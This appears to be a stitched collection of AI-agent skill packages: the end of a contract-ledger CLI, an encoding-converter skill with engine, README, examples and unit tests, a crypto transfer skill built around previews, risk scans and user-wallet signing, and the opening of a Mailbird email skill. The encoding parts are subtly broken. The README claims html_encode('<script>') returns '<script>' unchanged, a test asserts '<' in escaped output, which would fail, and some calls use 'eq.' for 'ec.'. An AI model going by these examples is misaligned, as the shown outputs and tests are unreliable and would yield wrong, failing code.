print(f" End: {c.get('end_date')} ({days_left} days remaining)")
print()
if args.feishu and expiring:
card = build_reminder_card(expiring[0], expiring[0].get("days_until_expiry", 0))
print("\nFeishu card content:")
print(json.dumps(card, ensure_ascii=False, indent=2))
return 0
def cmd_export(args):
"""Export contracts."""
api_key = args.api_key or DEFAULT_API_KEY
config = Config()
token_info = config.validate_token(api_key)
tier = token_info.tier
limits = get_tier_limits(tier)
format_type = args.format or "csv"
if format_type not in limits["export_formats"]:
print(f"Tier {tier} does not support {format_type} export", file=sys.stderr)
print(f"Supported: {', '.join(limits['export_formats'])}", file=sys.stderr)
return 1
contracts = get_contracts(status=args.status)
if not contracts:
print("No contracts to export")
return 0
content = export_contracts(contracts, format_type)
if args.output:
with open(args.output, "w", encoding="utf-8") as f:
f.write(content)
print(f"Exported to: {args.output}")
else:
print(content)
return 0
def main():
parser = argparse.ArgumentParser(description="Contract Ledger Management Tool")
subparsers = parser.add_subparsers(dest="command", help="Subcommands")
p_upload = subparsers.add_parser("upload", help="Upload contract PDF")
p_upload.add_argument("pdf_file", help="PDF file path")
p_upload.add_argument("--api-key", help="API Key (optional)")
p_upload.set_defaults(func=cmd_upload)
p_list = subparsers.add_parser("list", help="List contracts")
p_list.add_argument("--status", help="Filter by status")
p_list.add_argument("--sort", default="end_date", help="Sort field")
p_list.add_argument("--asc", action="store_true", help="Sort ascending")
p_list.set_defaults(func=cmd_list)
p_get = subparsers.add_parser("get", help="Get contract details")
p_get.add_argument("contract_id", help="Contract ID")
p_get.set_defaults(func=cmd_get)
p_update = subparsers.add_parser("update", help="Update contract")
p_update.add_argument("contract_id", help="Contract ID")
p_update.add_argument("--name", help="Contract name")
p_update.add_argument("--counterparty", help="Counterparty")
p_update.add_argument("--amount", help="Amount")
p_update.add_argument("--end-date", dest="end_date", help="End date (YYYY-MM-DD)")
p_update.add_argument("--status", help="Status")
p_update.set_defaults(func=cmd_update)
p_delete = subparsers.add_parser("delete", help="Delete contract")
p_delete.add_argument("contract_id", help="Contract ID")
p_delete.set_defaults(func=cmd_delete)
p_reminder = subparsers.add_parser("reminder", help="Manage reminders")
p_reminder.add_argument("contract_id", help="Contract ID")
p_reminder.add_argument("action", choices=["add", "remove", "list"], help="Action")
p_reminder.add_argument("--days", type=int, help="Days before expiry (for add)")
p_reminder.add_argument("--index", type=int, help="Reminder index (for remove)")
p_reminder.set_defaults(func=cmd_reminder)
p_check = subparsers.add_parser("check", help="Check expiring contracts")
p_check.add_argument("--days", type=int, default=7, help="Days to check")
p_check.add_argument("--api-key", help="API Key")
p_check.add_argument("--feishu", action="store_true", help="Output Feishu card")
p_check.set_defaults(func=cmd_check)
p_export = subparsers.add_parser("export", help="Export contracts")
p_export.add_argument("--format", choices=["csv", "xlsx", "pdf"], help="Export format")
p_export.add_argument("--status", help="Filter by status")
p_export.add_argument("--output", "-o", help="Output file path")
p_export.add_argument("--api-key", help="API Key")
p_export.set_defaults(func=cmd_export)
args = parser.parse_args()
init_storage()
if args.command is None:
parser.print_help()
return 0
return args.func(args)
if __name__ == "__main__":
sys.exit(main())
Convert and verify data between Base64, URL encoding, HEX, MD5/SHA hashes, JWT payloads, HTML entities, and binary/octal/decimal/hex formats.
# encoding-converter
## 技能概述
多格式编码转换工具集。支持 Base64、URL 编码、HEX、MD5/SHA 哈希、JWT 解码、HTML 实体编码等常见编码格式的互转与校验。
## 何时使用
- 需要 Base64 编码/解码数据时
- 需要 URL encode/decode 文本时
- 需要计算文件或字符串的 MD5/SHA 哈希时
- 需要解码 JWT Token 查看 payload 时
- 需要 HTML 实体编码/解码时
- 需要进行进制转换(二进制/八进制/十进制/十六进制)时
## 使用方法
### 基础用法
```python
from scripts.encoding_engine import EncodingConverter
ec = EncodingConverter()
# Base64 编解码
encoded = ec.base64_encode("Hello World")
decoded = ec.base64_decode(encoded)
# URL 编码
url_encoded = ec.url_encode("你好 世界")
# MD5 / SHA256 哈希
md5_hash = ec.md5("secret data")
sha256_hash = ec.sha256("secret data")
# JWT 解码(不验证签名)
payload = ec.jwt_decode("eyJhbGciOiJIUzI1NiIs...")
# HTML 实体编码
html = ec.html_encode("<div>Hello & 你好</div>")
# 进制转换
hex_val = ec.to_hex(255) # -> "ff"
bin_val = ec.to_binary(255) # -> "11111111"
```
## 文件结构
```
encoding-converter/
├── SKILL.md
├── README.md
├── requirements.txt
├── scripts/
│ └── encoding_engine.py # 核心引擎
├── examples/
│ └── basic_usage.py # 使用示例
└── tests/
└── test_encoding.py # 单元测试
```
## 依赖
- Python 内置: `base64`, `urllib.parse`, `hashlib`, `html`, `json`, `binascii`
- 可选: `PyJWT` 用于 JWT 编码
## 标签
encoding, decoding, base64, hash, jwt, developer-tools, security
FILE:README.md
# Encoding Converter
多格式编码转换工具 — 开发调试必备 Swiss Army Knife。
## Features
| 功能 | 说明 |
|------|------|
| Base64 | 编码 / 解码,支持 URL-safe 变体 |
| URL 编码 | encode / decode,支持空格处理 |
| HEX | 字符串与十六进制互转 |
| 哈希 | MD5, SHA1, SHA256, SHA512 |
| JWT 解码 | 解析 header + payload(不验证签名) |
| HTML 实体 | encode / decode |
| 进制转换 | 二/八/十/十六进制互转 |
| 随机生成 | UUID、随机字符串、随机十六进制 |
## Quick Start
```python
from scripts.encoding_engine import EncodingConverter
ec = EncodingConverter()
# Base64
ec.base64_encode("Hello") # -> "SGVsbG8="
ec.base64_decode("SGVsbG8=") # -> "Hello"
# URL
eq.url_encode("key=你好 world") # -> "key%3D%E4%BD%A0%E5%A5%BD+world"
# 哈希
ec.md5("password") # -> "5f4dcc3b5aa765d61d8327deb882cf99"
ec.sha256("password") # -> "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8"
# JWT 解码
ec.jwt_decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c")
# -> {"header": {"alg": "HS256", "typ": "JWT"}, "payload": {"sub": "1234567890", "name": "John Doe", "iat": 1516239022}}
# 进制转换
ec.to_hex(255) # -> "ff"
ec.to_binary(255) # -> "11111111"
ec.hex_to_int("ff") # -> 255
# HTML
eq.html_encode("<script>") # -> "<script>"
# 随机生成
ec.random_uuid() # -> "550e8400-e29b-41d4-a716-446655440000"
ec.random_hex(16) # -> "a3f7c9d2e8b1045f"
```
## Installation
```bash
pip install -r requirements.txt
```
纯 Python 内置模块实现,无需额外依赖即可运行核心功能。
## License
MIT
FILE:examples/basic_usage.py
"""
Encoding Converter - 基础使用示例
"""
from scripts.encoding_engine import EncodingConverter
def main():
ec = EncodingConverter()
print("=" * 50)
print("示例 1: Base64 编解码")
print("=" * 50)
original = "Hello World 你好世界"
encoded = ec.base64_encode(original)
decoded = ec.base64_decode(encoded)
print(f"原文: {original}")
print(f"Base64 编码: {encoded}")
print(f"Base64 解码: {decoded}")
print("\n" + "=" * 50)
print("示例 2: URL 编码")
print("=" * 50)
text = "key=你好 world&value=测试"
encoded = ec.url_encode(text)
decoded = ec.url_decode(encoded)
print(f"原文: {text}")
print(f"URL 编码: {encoded}")
print(f"URL 解码: {decoded}")
print("\n" + "=" * 50)
print("示例 3: 哈希计算")
print("=" * 50)
data = "password123"
print(f"MD5: {ec.md5(data)}")
print(f"SHA1: {ec.sha1(data)}")
print(f"SHA256: {ec.sha256(data)}")
print("\n" + "=" * 50)
print("示例 4: JWT 解码")
print("=" * 50)
# 示例 JWT token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
decoded = ec.jwt_decode(token)
print(f"JWT Token: {token}")
print(f"解码结果: {decoded}")
print("\n" + "=" * 50)
print("示例 5: 进制转换")
print("=" * 50)
num = 255
print(f"十进制: {num}")
print(f"二进制: {ec.to_binary(num)}")
print(f"八进制: {ec.to_octal(num)}")
print(f"十六进制: {ec.to_hex(num)}")
print(f"十六进制还原: {ec.hex_to_int('ff')}")
print("\n" + "=" * 50)
print("示例 6: HTML 实体编码")
print("=" * 50)
html_text = "<div>Hello & 你好</div>"
encoded = ec.html_encode(html_text)
decoded = ec.html_decode(encoded)
print(f"原文: {html_text}")
print(f"编码: {encoded}")
print(f"解码: {decoded}")
print("\n" + "=" * 50)
print("示例 7: 随机生成")
print("=" * 50)
print(f"UUID: {ec.random_uuid()}")
print(f"随机 HEX: {ec.random_hex(16)}")
print(f"随机字符串: {ec.random_string(16)}")
if __name__ == "__main__":
main()
FILE:requirements.txt
# 纯 Python 内置模块,无硬性依赖
# 可选增强:
# PyJWT>=2.8.0
FILE:scripts/encoding_engine.py
"""
Encoding Converter - 多格式编码转换工具引擎
"""
import base64
import urllib.parse
import hashlib
import html
import json
import binascii
import uuid
import secrets
from typing import Dict, Any, Optional, Union
class EncodingConverter:
"""支持 Base64、URL 编码、哈希、JWT 解码、HTML 实体、进制转换的工具集"""
def base64_encode(self, data: Union[str, bytes], url_safe: bool = False) -> str:
"""Base64 编码"""
if isinstance(data, str):
data = data.encode('utf-8')
if url_safe:
return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')
return base64.b64encode(data).decode('utf-8')
def base64_decode(self, data: str, url_safe: bool = False) -> str:
"""Base64 解码"""
if url_safe:
# 补齐 padding
padding = 4 - len(data) % 4
if padding != 4:
data += '=' * padding
decoded = base64.urlsafe_b64decode(data)
else:
decoded = base64.b64decode(data)
return decoded.decode('utf-8') if isinstance(decoded, bytes) else decoded
def url_encode(self, text: str, safe: str = '') -> str:
"""URL 编码"""
return urllib.parse.quote(text, safe=safe)
def url_decode(self, text: str) -> str:
"""URL 解码"""
return urllib.parse.unquote(text)
def to_hex(self, data: Union[str, int, bytes]) -> str:
"""转换为十六进制表示"""
if isinstance(data, int):
return hex(data)[2:]
if isinstance(data, str):
return data.encode('utf-8').hex()
if isinstance(data, bytes):
return data.hex()
return str(data)
def from_hex(self, hex_string: str) -> str:
"""十六进制字符串还原为文本"""
try:
return bytes.fromhex(hex_string).decode('utf-8')
except (ValueError, UnicodeDecodeError):
return hex_string
def hex_to_int(self, hex_string: str) -> int:
"""十六进制转整数"""
return int(hex_string, 16)
def to_binary(self, num: int) -> str:
"""整数转二进制字符串"""
return bin(num)[2:]
def from_binary(self, binary: str) -> int:
"""二进制字符串转整数"""
return int(binary, 2)
def to_octal(self, num: int) -> str:
"""整数转八进制字符串"""
return oct(num)[2:]
def from_octal(self, octal: str) -> int:
"""八进制字符串转整数"""
return int(octal, 8)
def md5(self, data: Union[str, bytes]) -> str:
"""计算 MD5 哈希"""
if isinstance(data, str):
data = data.encode('utf-8')
return hashlib.md5(data).hexdigest()
def sha1(self, data: Union[str, bytes]) -> str:
"""计算 SHA1 哈希"""
if isinstance(data, str):
data = data.encode('utf-8')
return hashlib.sha1(data).hexdigest()
def sha256(self, data: Union[str, bytes]) -> str:
"""计算 SHA256 哈希"""
if isinstance(data, str):
data = data.encode('utf-8')
return hashlib.sha256(data).hexdigest()
def sha512(self, data: Union[str, bytes]) -> str:
"""计算 SHA512 哈希"""
if isinstance(data, str):
data = data.encode('utf-8')
return hashlib.sha512(data).hexdigest()
def hmac_sha256(self, key: Union[str, bytes], message: Union[str, bytes]) -> str:
"""计算 HMAC-SHA256"""
import hmac
if isinstance(key, str):
key = key.encode('utf-8')
if isinstance(message, str):
message = message.encode('utf-8')
return hmac.new(key, message, hashlib.sha256).hexdigest()
def jwt_decode(self, token: str) -> Dict[str, Any]:
"""解码 JWT Token(不验证签名)"""
try:
parts = token.split('.')
if len(parts) != 3:
return {"error": "Invalid JWT format"}
def decode_part(part: str) -> Dict:
# 补齐 padding
padding = 4 - len(part) % 4
if padding != 4:
part += '=' * padding
decoded = base64.urlsafe_b64decode(part)
return json.loads(decoded)
return {
"header": decode_part(parts[0]),
"payload": decode_part(parts[1]),
"signature": parts[2],
}
except Exception as e:
return {"error": str(e)}
def html_encode(self, text: str) -> str:
"""HTML 实体编码"""
return html.escape(text)
def html_decode(self, text: str) -> str:
"""HTML 实体解码"""
return html.unescape(text)
def random_uuid(self) -> str:
"""生成随机 UUID"""
return str(uuid.uuid4())
def random_hex(self, length: int = 32) -> str:
"""生成随机十六进制字符串"""
return secrets.token_hex(length // 2 if length % 2 == 0 else (length + 1) // 2)[:length]
def random_string(self, length: int = 16) -> str:
"""生成随机安全字符串"""
import string
alphabet = string.ascii_letters + string.digits
return ''.join(secrets.choice(alphabet) for _ in range(length))
def crc32(self, data: Union[str, bytes]) -> str:
"""计算 CRC32 校验值"""
import zlib
if isinstance(data, str):
data = data.encode('utf-8')
return format(zlib.crc32(data) & 0xffffffff, '08x')
FILE:tests/test_encoding.py
"""
Encoding Converter 单元测试
"""
import sys
import os
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))
from scripts.encoding_engine import EncodingConverter
def test_base64():
ec = EncodingConverter()
original = "Hello World"
encoded = ec.base64_encode(original)
decoded = ec.base64_decode(encoded)
assert decoded == original
# URL-safe
encoded_safe = ec.base64_encode(original, url_safe=True)
decoded_safe = ec.base64_decode(encoded_safe, url_safe=True)
assert decoded_safe == original
print("✓ test_base64 passed")
def test_url_encoding():
ec = EncodingConverter()
text = "hello world"
encoded = ec.url_encode(text)
decoded = ec.url_decode(encoded)
assert decoded == text
print("✓ test_url_encoding passed")
def test_hex():
ec = EncodingConverter()
assert ec.to_hex(255) == "ff"
assert ec.hex_to_int("ff") == 255
assert ec.to_hex("ABC") == "414243"
assert ec.from_hex("414243") == "ABC"
print("✓ test_hex passed")
def test_binary():
ec = EncodingConverter()
assert ec.to_binary(255) == "11111111"
assert ec.from_binary("11111111") == 255
print("✓ test_binary passed")
def test_hash():
ec = EncodingConverter()
data = "test"
assert len(ec.md5(data)) == 32
assert len(ec.sha1(data)) == 40
assert len(ec.sha256(data)) == 64
assert len(ec.sha512(data)) == 128
# 一致性检查
assert ec.md5(data) == ec.md5(data)
print("✓ test_hash passed")
def test_jwt_decode():
ec = EncodingConverter()
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
result = ec.jwt_decode(token)
assert "error" not in result
assert result["header"]["alg"] == "HS256"
assert result["payload"]["name"] == "John Doe"
print("✓ test_jwt_decode passed")
def test_html_encoding():
ec = EncodingConverter()
text = "<div>Hello & 你好</div>"
encoded = ec.html_encode(text)
decoded = ec.html_decode(encoded)
assert "<" in encoded
assert decoded == text
print("✓ test_html_encoding passed")
def test_random():
ec = EncodingConverter()
uuid1 = ec.random_uuid()
uuid2 = ec.random_uuid()
assert uuid1 != uuid2
assert len(ec.random_hex(16)) == 16
assert len(ec.random_string(16)) == 16
print("✓ test_random passed")
def test_hmac():
ec = EncodingConverter()
result = ec.hmac_sha256("key", "message")
assert len(result) == 64
print("✓ test_hmac passed")
if __name__ == "__main__":
test_base64()
test_url_encoding()
test_hex()
test_binary()
test_hash()
test_jwt_decode()
test_html_encoding()
test_random()
test_hmac()
print("\n所有测试通过! ✅")
Unified multi-chain transfer skill for BTC, EVM, and Solana. Use when a user wants to send ETH/ERC20, SOL/SPL, or BTC, including batch payouts, with preview...
---
name: antalpha-web3-transfer
version: 1.0.0
description: Unified multi-chain transfer skill for BTC, EVM, and Solana. Use when a user wants to send ETH/ERC20, SOL/SPL, or BTC, including batch payouts, with preview confirmation, wallet signing, risk checks, and status follow-up through the transfer-request / transfer-status / transfer-cancel MCP tools.
author: Antalpha
requires: []
metadata:
install:
type: instruction-only
env: []
---
# Antalpha Web3 Transfer
## Persona
You are a careful, execution-oriented Web3 transfer operator.
You move funds only after the user has clearly confirmed the exact recipient, amount, and chain.
You never ask for private keys, seed phrases, or raw wallet credentials.
## Trigger
Use this skill when any of the following is true:
- The user wants to send crypto to someone.
- The user asks to transfer ETH, ERC20, SOL, SPL tokens, or BTC.
- The user asks for a batch payout, airdrop-style distribution, or one-to-many transfer.
- The user wants a transfer preview, fee estimate, signing link, or transfer status follow-up.
## Required Runtime Capability
This skill assumes the current environment exposes these MCP tools:
- `transfer-request`
- `transfer-status`
- `transfer-cancel`
If these tools are unavailable, explain that the transfer backend is not connected and do not pretend you can execute the transfer.
## Supported Scope
### Chains
| Chain family | Support |
|---|---|
| EVM | Ethereum, Base, Arbitrum, Optimism, Polygon, BSC |
| Solana | SOL and SPL tokens |
| Bitcoin | BTC mainnet transfer flow via PSBT handoff |
### Transfer modes
| Mode | Support |
|---|---|
| Single transfer | Supported |
| Batch transfer | Supported, up to 10 recipients |
| Atomic batch | Not supported |
| BTC service-side broadcast | Not supported in v1.0 |
### Safety model
- EVM recipients are security-scanned before transfer preview.
- Solana address security scan is skipped in v1.0 and must be disclosed.
- BTC address security scan is not fully supported and may be marked as skipped.
- HIGH / CRITICAL risk transfers must not proceed.
- MEDIUM risk transfers require explicit user acknowledgement.
## Non-Negotiable Safety Rules
1. Never request or accept a private key, seed phrase, recovery phrase, or keystore file.
2. Never claim funds have been sent before the transfer status reaches a submitted / confirmed state.
3. Never hide security warnings from the user.
4. Never downplay a MEDIUM, HIGH, or CRITICAL risk result.
5. Never assume an unsupported token or chain is transferable without tool confirmation.
6. If price data is unavailable, do not invent USD values.
## Input Requirements
You should extract or confirm the following whenever possible:
- `chain` (optional if inferable)
- `token`
- `amount`
- `recipient` or `recipients`
- `memo` (optional)
- `from_address` (optional but helpful, especially for Solana and BTC flows)
### Address heuristics
If the user does not explicitly state the chain, use these heuristics as guidance:
- `0x...` 42-char hex address -> treat as EVM by default
- `bc1q...` or `bc1p...` -> BTC
- `1...` or `3...` 25-34 chars -> BTC
- other Base58 addresses around 32-44 chars -> likely Solana
If chain inference is still ambiguous, ask the user to confirm the chain before proceeding.
## Execution Workflow
### Step 1 - Prepare the transfer
Call `transfer-request` with:
- `action = "prepare"`
- `request_text` when the user phrased the request naturally
- `structured` when the user has already provided clear fields
Use `structured.recipients` for batch payouts.
### Step 2 - Review the preview
After `prepare`, review:
- `preview.chain`
- `preview.token`
- `preview.recipients`
- `preview.fee`
- `preview.totalUsd` / `preview.batchTotalUsd`
- `preview.manualValueConfirmationRequired`
- `preview.highValueConfirmationRequired`
- `risk_summary`
When presenting the preview:
- Mask recipient addresses by default in narrative text unless operationally necessary.
- Clearly state the chain, token, amount, recipient count, and estimated network fee.
- If Solana scan is skipped, explicitly say so.
### Step 3 - Apply risk rules
#### If any recipient is HIGH or CRITICAL risk
- Do not proceed to `confirm`.
- Explain that the transfer is blocked because the recipient appears unsafe.
- Summarize the risk level and risk types.
#### If any recipient is MEDIUM risk
- Explain the warning clearly.
- Ask for explicit acknowledgement before continuing.
- When the user explicitly accepts the risk, call `confirm` with `risk_acknowledged = true`.
#### If price is unavailable
- Explain that USD valuation could not be determined.
- Ask for explicit acknowledgement before continuing.
- When the user explicitly accepts this, call `confirm` with `price_unavailable_ack = true`.
## Confirmation Workflow
Call `transfer-request` again with:
- `action = "confirm"`
- `session_id`
- `risk_acknowledged` if required
- `price_unavailable_ack` if required
### EVM / Solana result
The tool returns:
- `phase = awaiting_wallet_signature`
- `signature_url`
Tell the user to open the signing link and complete the wallet action.
### BTC result
The tool returns:
- `phase = awaiting_external_signature`
- `psbt_base64`
- `handoff_payload`
For BTC:
- summarize the transfer details from `handoff_payload.summary`
- explain that signing happens in a supported BTC wallet flow
- do not claim the BTC transfer has been broadcast yet unless later confirmed by status
## Status Follow-Up
Use `transfer-status` when:
- the user says they signed
- the user asks whether the transfer is done
- you need to verify whether a queued transfer advanced
Important fields:
- `phase`
- `item_statuses`
- `tx_hashes`
- `explorer_urls`
- `last_error`
- `expires_at`
### Recommended status interpretation
| Status | Meaning |
|---|---|
| `awaiting_user_confirmation` | Preview exists, user has not confirmed yet |
| `awaiting_wallet_signature` | Waiting for EVM/Solana wallet signing |
| `awaiting_external_signature` | Waiting for BTC signing / handoff |
| `submitted` | Broadcast initiated |
| `partially_submitted` | Batch partly succeeded |
| `confirmed` | Completed on-chain |
| `failed` | Transfer failed |
| `cancelled` | User cancelled |
| `expired` | Session expired |
## Batch Transfer Rules
1. Batch supports up to 10 recipients.
2. Batch execution is non-atomic.
3. Each item may succeed or fail independently.
4. Do not describe the batch as "all-or-nothing."
5. When reporting status, mention whether the batch is:
- fully completed
- partially submitted
- partially failed
## Cancellation Rules
If the user says to stop, cancel, or abandon the transfer before completion:
- call `transfer-cancel`
- tell the user the session has been cancelled
- do not continue polling that session unless the user explicitly asks
## Response Style
### Language
Reply in the user's language.
If the user writes in Chinese, reply in Chinese.
If the user writes in English, reply in English.
### Formatting
- Never dump raw tool JSON unless the user explicitly asks for it.
- Present the preview like an operations checklist.
- Keep the response concise, factual, and safety-forward.
- Use direct wording for warnings.
### Good response structure
1. What will be sent
2. Which chain it uses
3. Estimated fee
4. Risk result
5. Required next step
## Failure Handling
If any tool call fails:
- explain what failed in plain language
- avoid pretending the transfer is still in progress when it is not
- suggest retrying or rebuilding the transfer preview when appropriate
Use these meanings:
- `ERR_ADDRESS_HIGH_RISK` -> recipient blocked by risk policy
- `ERR_RISK_ACK_REQUIRED` -> the user must explicitly acknowledge medium risk
- `ERR_PRICE_ACK_REQUIRED` -> the user must explicitly acknowledge unavailable USD valuation
- `ERR_PREVIEW_EXPIRED` -> the session timed out; prepare a new one
- `ERR_TRANSFER_CANCELLED` -> the session has been tombstoned and cannot continue
## Example Playbook
### Single EVM transfer
1. User: "Send 0.1 ETH to 0x..."
2. Call `transfer-request` with `action="prepare"`
3. Present preview and safety result
4. User confirms
5. Call `transfer-request` with `action="confirm"`
6. Send the `signature_url`
7. After user signs, call `transfer-status`
8. Report tx hash / explorer when available
### Batch Solana transfer
1. User provides multiple recipients
2. Call `prepare`
3. Explain that batch is non-atomic and processed item by item
4. Confirm
5. Share signing link
6. Follow up with `transfer-status`
### BTC transfer
1. User asks to send BTC
2. Call `prepare`
3. Present preview including fee estimate
4. Confirm
5. Summarize `handoff_payload`
6. Explain that signing happens through the BTC wallet flow
7. Use `transfer-status` for follow-up if available
FILE:README.md
[🇺🇸 English](#english) · [🇨🇳 中文](#chinese)
---
<a name="english"></a>
# Antalpha Web3 Transfer
> One natural-language transfer skill for BTC, EVM, and Solana with preview, safety checks, and wallet signing.
[](https://github.com/AntalphaAI/web3-transfer)
[](LICENSE)
[](https://antalpha.com)
[](https://antalpha.com)
---
## What Is This?
**Antalpha Web3 Transfer** is an instruction-only skill for AI agents that orchestrates multi-chain transfers across:
- Bitcoin
- EVM networks such as Ethereum, Base, Arbitrum, Optimism, Polygon, and BSC
- Solana
It is designed for a zero-custody workflow:
- the AI agent prepares and coordinates the transfer
- the user reviews the preview
- the user signs with their own wallet
- the agent follows up on status and reports the result
This skill is especially useful when the environment already exposes the Antalpha transfer MCP tools and you want the agent to use them correctly and safely.
## Features
- Unified natural-language transfer flow for BTC, EVM, and Solana
- Preview-first execution with clear fee and recipient review
- Address risk scanning for supported chains before transfer
- Medium-risk acknowledgement handling
- Price-unavailable acknowledgement handling
- Batch payout support for up to 10 recipients
- Non-custodial signing model
- Status follow-up through MCP tools
## Supported Scope
| Category | Support |
|---|---|
| Single transfer | Supported |
| Batch transfer | Supported, up to 10 recipients |
| Atomic batch | Not supported |
| EVM native + ERC20 | Supported |
| SOL + SPL token | Supported |
| BTC PSBT handoff | Supported |
| BTC service-side broadcast | Not supported in v1.0 |
## Required MCP Tools
This skill assumes the runtime exposes:
- `transfer-request`
- `transfer-status`
- `transfer-cancel`
If those tools are unavailable, the agent should not pretend it can execute the transfer.
## Installation
This is an **instruction-only** skill.
```bash
clawhub install antalpha-web3-transfer
```
Or clone manually:
```bash
git clone https://github.com/AntalphaAI/web3-transfer.git
```
## Typical Usage
Examples:
```text
Send 0.1 ETH to 0x742d35Cc6634C0532925a3b844Bc454e4438f44e
```
```text
On Arbitrum, transfer 50 USDT to 0x1234...
```
```text
给这 5 个地址各转 10 USDC(Solana)
```
```text
转 0.01 BTC 到 bc1q...
```
The agent should:
1. call `transfer-request` with `action="prepare"`
2. present the preview and safety result
3. collect explicit confirmation when needed
4. call `transfer-request` with `action="confirm"`
5. provide the signing link or BTC handoff info
6. call `transfer-status` when the user asks for progress
## Safety Principles
- Never ask the user for a private key or seed phrase
- Never hide transfer risk warnings
- Never claim success before status confirms broadcast / completion
- Never invent USD value when price data is unavailable
- Never describe batch transfer as atomic
## Chain Notes
### EVM
- best for ETH and ERC20 transfers
- uses wallet signing flow and signing page
- risk scan is required before transfer preview
### Solana
- supports SOL and SPL token transfers
- uses browser-wallet signing flow
- v1.0 explicitly skips address security scan and must disclose that limitation
### Bitcoin
- uses PSBT handoff flow
- supports BTC transfer preview and signing handoff
- v1.0 does not provide service-side broadcast completion
## Maintainer
**Antalpha** — [https://antalpha.com](https://antalpha.com)
---
<a name="chinese"></a>
# Antalpha Web3 Transfer(统一转账 Skill)
> 一套自然语言转账 Skill,覆盖 BTC、EVM 与 Solana,带预览、风控和钱包签名流程。
[](https://github.com/AntalphaAI/web3-transfer)
[](LICENSE)
[](https://antalpha.com)
[](https://antalpha.com)
---
## 这是什么?
**Antalpha Web3 Transfer** 是一个面向 AI Agent 的 instruction-only Skill,用来协调多链转账流程,支持:
- Bitcoin
- EVM 网络(如 Ethereum、Base、Arbitrum、Optimism、Polygon、BSC)
- Solana
它遵循零托管原则:
- Agent 负责解析、预览、协调流程
- 用户先看预览
- 用户用自己的钱包签名
- Agent 再跟进状态并回报结果
如果你的运行环境已经接好了 Antalpha 的转账 MCP 工具,这个 Skill 的作用就是让 Agent 用正确、安全、稳定的方式使用它们。
## 核心能力
- 统一的 BTC / EVM / Solana 自然语言转账流程
- 先预览后执行
- 转账前风险扫描
- 中风险显式确认
- 价格不可得时显式确认
- 最多 10 个地址的批量转账
- 零托管签名模型
- 基于 MCP 工具的状态跟进
## 支持范围
| 类别 | 支持情况 |
|---|---|
| 单笔转账 | 支持 |
| 批量转账 | 支持,最多 10 个地址 |
| 原子批量 | 不支持 |
| EVM 原生币 + ERC20 | 支持 |
| SOL + SPL Token | 支持 |
| BTC PSBT 交接 | 支持 |
| BTC 服务端广播闭环 | v1.0 不支持 |
## 依赖的 MCP 工具
该 Skill 默认运行环境已暴露以下工具:
- `transfer-request`
- `transfer-status`
- `transfer-cancel`
如果这些工具不可用,Agent 不应假装自己可以执行转账。
## 安装方式
这是一个 **instruction-only** Skill。
```bash
clawhub install antalpha-web3-transfer
```
或手动克隆:
```bash
git clone https://github.com/AntalphaAI/web3-transfer.git
```
## 使用示例
```text
帮我转 0.1 ETH 到 0x742d35Cc6634C0532925a3b844Bc454e4438f44e
```
```text
在 Arbitrum 上转 50 USDT 到 0x1234...
```
```text
给这 5 个地址各转 10 USDC(Solana)
```
```text
转 0.01 BTC 到 bc1q...
```
Agent 的标准动作应该是:
1. 用 `transfer-request` 的 `action="prepare"` 建立预览
2. 展示转账预览和风险结果
3. 如有需要,收集显式确认
4. 用 `transfer-request` 的 `action="confirm"` 进入签名阶段
5. 提供签名链接或 BTC handoff 信息
6. 用户追问进度时,用 `transfer-status` 查询
## 安全原则
- 永远不要向用户索要私钥或助记词
- 永远不要隐藏风险提示
- 在状态未明确成功前,不要宣称已经转账成功
- 当价格不可得时,不要编造 USD 估值
- 批量转账不能描述成原子执行
## 各链说明
### EVM
- 适用于 ETH 和 ERC20
- 通过钱包签名页完成签名
- 转账前必须做风险扫描
### Solana
- 支持 SOL 和 SPL Token
- 通过浏览器钱包签名
- v1.0 明确跳过地址安全扫描,必须告知用户
### Bitcoin
- 使用 PSBT handoff 流程
- 支持 BTC 预览和签名交接
- v1.0 不提供服务端广播闭环
## 维护者
**Antalpha** — [https://antalpha.com](https://antalpha.com)
FILE:package.json
{
"name": "antalpha-web3-transfer",
"version": "1.0.0",
"description": "Unified Web3 transfer skill for BTC, EVM, and Solana with safety scan, preview confirmation, and user-wallet signing.",
"main": "SKILL.md",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [
"web3",
"transfer",
"btc",
"bitcoin",
"ethereum",
"evm",
"solana",
"spl",
"erc20",
"wallet",
"signing",
"security",
"antalpha",
"mcp"
],
"author": "Antalpha",
"license": "MIT",
"repository": {
"type": "git",
"url": "https://github.com/AntalphaAI/web3-transfer.git"
},
"bugs": {
"url": "https://github.com/AntalphaAI/web3-transfer/issues"
},
"homepage": "https://github.com/AntalphaAI/web3-transfer#readme"
}
Use the Mailbird MCP server (running locally inside the Mailbird email client) for any email-related task — inbox triage, sending, search, drafts, attachment...
---
name: mailbird-mcp
description: Use the Mailbird MCP server (running locally inside the Mailbird email client) for any email-related task — inbox triage, sending, search, drafts, attachments, contacts. Never grep code for mail content.
homepage: https://www.getmailbird.com
